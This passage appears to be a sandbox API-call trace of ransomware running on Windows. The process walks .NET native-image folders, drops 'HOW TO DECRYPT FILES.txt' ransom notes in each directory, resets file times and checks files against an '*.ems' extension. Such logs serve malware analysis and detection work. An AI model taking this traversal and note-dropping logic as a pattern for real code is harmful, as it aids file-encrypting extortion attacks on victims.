lpString2="..") returned 0 [0112.733] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe093582a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe093582a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe093582a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x167600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Management.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.733] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.733] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Management.ni.dll") returned -1 [0112.733] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Management.ni.dll") returned -1 [0112.733] lstrcmpiA (lpString1="", lpString2="System.Management.ni.dll") returned -1 [0112.733] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81\\*.*") returned="*.*" [0112.733] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81\\" [0112.734] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81\\") returned="" [0112.734] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81\\HOW TO DECRYPT FILES.txt" [0112.734] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.management\\c44929bde355680c886f8a52f5e22b81\\how to decrypt files.txt")) returned 0xffffffff [0112.734] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.management\\c44929bde355680c886f8a52f5e22b81\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.736] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.736] CloseHandle (hObject=0x90) returned 1 [0112.736] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81\\", lpString2="System.Management.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81\\System.Management.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81\\System.Management.ni.dll" [0112.736] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management\\c44929bde355680c886f8a52f5e22b81\\System.Management.ni.dll", pszSpec="*.ems") returned 0 [0112.736] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe093582a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe093582a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe093582a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x167600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Management.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.736] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.736] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe09a7c4a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe09a7c4a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe09a7c4a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="c44929bde355680c886f8a52f5e22b81", cAlternateFileName="C44929~1")) returned 0 [0112.736] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.736] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2a469de, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf2a469de, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf2a469de, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Management.A#", cAlternateFileName="SYSTEM~1.A#")) returned 1 [0112.736] lstrcmpA (lpString1=".", lpString2="System.Management.A#") returned -1 [0112.736] lstrcmpA (lpString1="..", lpString2="System.Management.A#") returned -1 [0112.736] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.736] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Management.A#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#" [0112.736] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2a469de, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf2a469de, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf2a469de, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.737] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.737] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2a469de, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf2a469de, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf2a469de, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.737] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.737] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.737] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2a469de, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf2a469de, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf2a469de, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="009a09f5b2322bb8c5520dc5ddbb28bb", cAlternateFileName="009A09~1")) returned 1 [0112.737] lstrcmpA (lpString1=".", lpString2="009a09f5b2322bb8c5520dc5ddbb28bb") returned -1 [0112.737] lstrcmpA (lpString1="..", lpString2="009a09f5b2322bb8c5520dc5ddbb28bb") returned -1 [0112.737] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\*.*") returned="*.*" [0112.737] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\", lpString2="009a09f5b2322bb8c5520dc5ddbb28bb" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb" [0112.737] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2a469de, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf2a469de, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf2a469de, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.738] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.738] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2a469de, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf2a469de, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf2a469de, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.738] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.738] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.738] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2726cf8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf2726cf8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf28577fa, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xb59800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Management.Automation.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.738] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.738] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Management.Automation.ni.dll") returned -1 [0112.738] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Management.Automation.ni.dll") returned -1 [0112.738] lstrcmpiA (lpString1="", lpString2="System.Management.Automation.ni.dll") returned -1 [0112.738] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb\\*.*") returned="*.*" [0112.738] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb\\" [0112.738] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb\\") returned="" [0112.740] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb\\HOW TO DECRYPT FILES.txt" [0112.740] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.management.a#\\009a09f5b2322bb8c5520dc5ddbb28bb\\how to decrypt files.txt")) returned 0xffffffff [0112.740] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.management.a#\\009a09f5b2322bb8c5520dc5ddbb28bb\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.742] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.742] CloseHandle (hObject=0x90) returned 1 [0112.742] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb\\", lpString2="System.Management.Automation.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb\\System.Management.Automation.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb\\System.Management.Automation.ni.dll" [0112.742] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.A#\\009a09f5b2322bb8c5520dc5ddbb28bb\\System.Management.Automation.ni.dll", pszSpec="*.ems") returned 0 [0112.743] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2726cf8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf2726cf8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf28577fa, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xb59800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Management.Automation.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.743] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.743] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2a469de, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf2a469de, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf2a469de, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="009a09f5b2322bb8c5520dc5ddbb28bb", cAlternateFileName="009A09~1")) returned 0 [0112.743] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.743] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20ada6cb, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x20ada6cb, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x20ada6cb, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Management.I#", cAlternateFileName="SYSTEM~1.I#")) returned 1 [0112.743] lstrcmpA (lpString1=".", lpString2="System.Management.I#") returned -1 [0112.743] lstrcmpA (lpString1="..", lpString2="System.Management.I#") returned -1 [0112.743] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.743] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Management.I#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.I#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.I#" [0112.743] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.I#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20ada6cb, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x20ada6cb, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x20ada6cb, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.744] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.744] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20ada6cb, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x20ada6cb, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x20ada6cb, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.744] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.745] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.745] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20ada6cb, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x20ada6cb, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x20ada6cb, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8b62ac3a8cfd55c530052c79253d25c8", cAlternateFileName="8B62AC~1")) returned 1 [0112.745] lstrcmpA (lpString1=".", lpString2="8b62ac3a8cfd55c530052c79253d25c8") returned -1 [0112.745] lstrcmpA (lpString1="..", lpString2="8b62ac3a8cfd55c530052c79253d25c8") returned -1 [0112.745] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.I#\\*.*") returned="*.*" [0112.745] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.I#\\", lpString2="8b62ac3a8cfd55c530052c79253d25c8" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.I#\\8b62ac3a8cfd55c530052c79253d25c8") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.I#\\8b62ac3a8cfd55c530052c79253d25c8" [0112.745] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.I#\\8b62ac3a8cfd55c530052c79253d25c8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20ada6cb, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x20ada6cb, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x20ada6cb, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.745] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.745] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20ada6cb, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x20ada6cb, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x20ada6cb, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.745] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.745] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.745] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20a682aa, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x20a682aa, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x20a8e40a, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x82600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Management.Instrumentation.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.745] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.745] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Management.Instrumentation.ni.dll") returned -1 [0112.745] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Management.Instrumentation.ni.dll") returned -1 [0112.745] lstrcmpiA (lpString1="", lpString2="System.Management.Instrumentation.ni.dll") returned -1 [0112.745] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.I#\\8b62ac3a8cfd55c530052c79253d25c8\\*.*") returned="*.*" [0112.746] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.I#\\8b62ac3a8cfd55c530052c79253d25c8\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.I#\\8b62ac3a8cfd55c530052c79253d25c8\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.I#\\8b62ac3a8cfd55c530052c79253d25c8\\" [0112.746] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.I#\\8b62ac3a8cfd55c530052c79253d25c8\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.I#\\8b62ac3a8cfd55c530052c79253d25c8\\") returned="" [0112.746] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.I#\\8b62ac3a8cfd55c530052c79253d25c8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.I#\\8b62ac3a8cfd55c530052c79253d25c8\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.I#\\8b62ac3a8cfd55c530052c79253d25c8\\HOW TO DECRYPT FILES.txt" [0112.746] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.I#\\8b62ac3a8cfd55c530052c79253d25c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.management.i#\\8b62ac3a8cfd55c530052c79253d25c8\\how to decrypt files.txt")) returned 0xffffffff [0112.746] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.I#\\8b62ac3a8cfd55c530052c79253d25c8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.management.i#\\8b62ac3a8cfd55c530052c79253d25c8\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.749] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.749] CloseHandle (hObject=0x90) returned 1 [0112.749] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.I#\\8b62ac3a8cfd55c530052c79253d25c8\\", lpString2="System.Management.Instrumentation.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.I#\\8b62ac3a8cfd55c530052c79253d25c8\\System.Management.Instrumentation.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.I#\\8b62ac3a8cfd55c530052c79253d25c8\\System.Management.Instrumentation.ni.dll" [0112.749] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Management.I#\\8b62ac3a8cfd55c530052c79253d25c8\\System.Management.Instrumentation.ni.dll", pszSpec="*.ems") returned 0 [0112.750] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20a682aa, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x20a682aa, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x20a8e40a, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x82600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Management.Instrumentation.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.750] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.750] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20ada6cb, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x20ada6cb, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x20ada6cb, 